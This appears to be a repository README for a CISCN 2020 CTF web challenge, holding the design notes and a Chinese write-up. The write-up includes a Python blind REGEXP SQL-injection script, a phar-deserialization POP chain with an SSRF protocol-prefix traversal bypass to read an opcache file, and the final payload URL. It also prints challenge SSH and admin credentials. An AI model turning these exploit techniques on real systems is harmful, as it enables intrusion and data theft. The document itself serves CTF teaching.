# ciscn2020_build **Repository Path**: goodcheerleung/ciscn2020_build ## Basic Information - **Project Name**: ciscn2020_build - **Description**: No description available - **Primary Language**: PHP - **License**: Not specified - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2021-06-03 - **Last Updated**: 2021-06-03 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # 前言 - 国赛华南Break+Fix环节当时排名第11,当时感觉没有机会进决赛了,结果Build环节拿了14分,小惊喜进入决赛。这道题算是中等题目吧。 # 赛题设计说明 ### 题目信息: * 题目名称:上传个头像吧 * 预估难度:中等 ### 题目描述: 上传个头像吧 ### 题目考点(至少2点) - Regexp 注入 - 不存在协议头的SSRF - opcache缓存的WEBshell - Phar反序列化 ### 思路简述 - Regexp注入过滤了单引号,在username参数处使用反斜杠(`\`)在password处使用`#`将单引号注释,这样我们就可以控制password参数从单引号中逃逸出来,由于过滤了union 等关键之导致无法联合查询,但是这里只需查找出password进行登陆即可。 - 登陆后F12看源码会发现存在提示,下载源码发现`code/header.php`下存在一个类,但是没有反序列化的地方,但是存在`is_file`这个`I/O`函数其参数完全可控,同时存在上传的地方,考虑phar反序列化。 - 但是flag在`flag.php`中,这个类中存在一个ssrf漏洞(file_get_contents函数),但是对协议头限制了为http开头这里存一个问题如果file_get_contents遇到不认识的协议头会将协议头当做文件夹,造成目录穿越,所以只需用`httpssssss://`即可绕过 - 然后在读取内容时候会对内容进行检测如果存在`运维人员注意-重要:flag必须在flag.php中,已经在run.sh中将flag.txt内容复制到flag.php中** - 环境搭设: ``` docker-compose up -d --build ``` - SSH密码: ``` 账号:ciscn 密码:gzmtu101hsl123* ``` # Write Up ​ 入口处是一个登录框,随意测试会发现sql语句,得知为sql注入。 测试会发现输入存在关键字都会被替换为admin,fuzz发现存在着regexp可以使用,引号单引号被过滤使用十六进制绕过。 注入失败有回显:Maybe we are not suitable 编写脚本: ```python import os import requests as req def ord2hex(string): result = '' for i in string: result += hex(ord(i)) result = result.replace('0x','') return '0x'+result string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'] headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Connection':'keep-alive', } res = '' for i in range(50): for j in string: url = "http://xxxxxx/" data = { 'username':'\\', 'password':'or/**/password/**/regexp/**/binary/**/%s#'%(ord2hex('^'+res+chr(j))) } r = req.post(url, data=data,headers=headers) # print(r.text) if 'Maybe we are not suitable' not in r.text: res += chr(j) print(res) break ``` 得到账号密码为: ``` admin/hlqxl5203146iomngj ``` 登录得到hint: ``` hint:SV9sb3ZlX3lvdV9odWFuZ2xpcXVhbgo.zip ``` 下载得到源码。 header.php: ```php file)){ die("no hack"); } $this->opthion(); } function opthion(){ $this->o->GetFlag($this->file); } } class Huangliquan{ function GetFlag($file){ $content=file_get_contents($file); if (!preg_match("/<\?php/i", $content)){ echo $content; }else{ die("not you are hacker"); } } } $flag = is_file($_GET['path']); if($flag){ echo "header-images:".$_GET['path']; echo "
"; } ?> ``` 这里存在着两个类,可以构造出来pop链,结合`is_file`可以知道phar反序列化。 链很简单,这里有两个trick,第一个为: `file_get_contents`在遇到不存在的协议头会将协议头当做文件夹造成目录穿越,这里限制了为http开头,我们取file为`httpasd`即可绕过。 第二个较难,给了hint.php,为phpinfo界面,这里因为需要文件内容不存在php标签头,并且提示flag.php,我们观察phpinfo会发现使用了opcache,并且其路径处于basedir内:` /var/www/cache/` 使用下面这个工具能够计算出systemid https://github.com/GoSecure/php7-opcache-override ***这里十分重要的一点是要先访问一下flag.php才能在cache目录生成缓存flag.php.bin*** 可以获取到systemid,构造payload: ````php file = "httpasd://../../../../../../../var/www/cache/c5113ab3ab1ea7070b4880d7550c8221/var/www/html/flag.php.bin"; $user->o = $huang; // 生成phar 文件的格式 @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub(""); //设置stub $phar->setMetadata($user); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?> ```` 访问之得到flag: ``` /code/header.php?path=phar://../upload/phar.jpg ```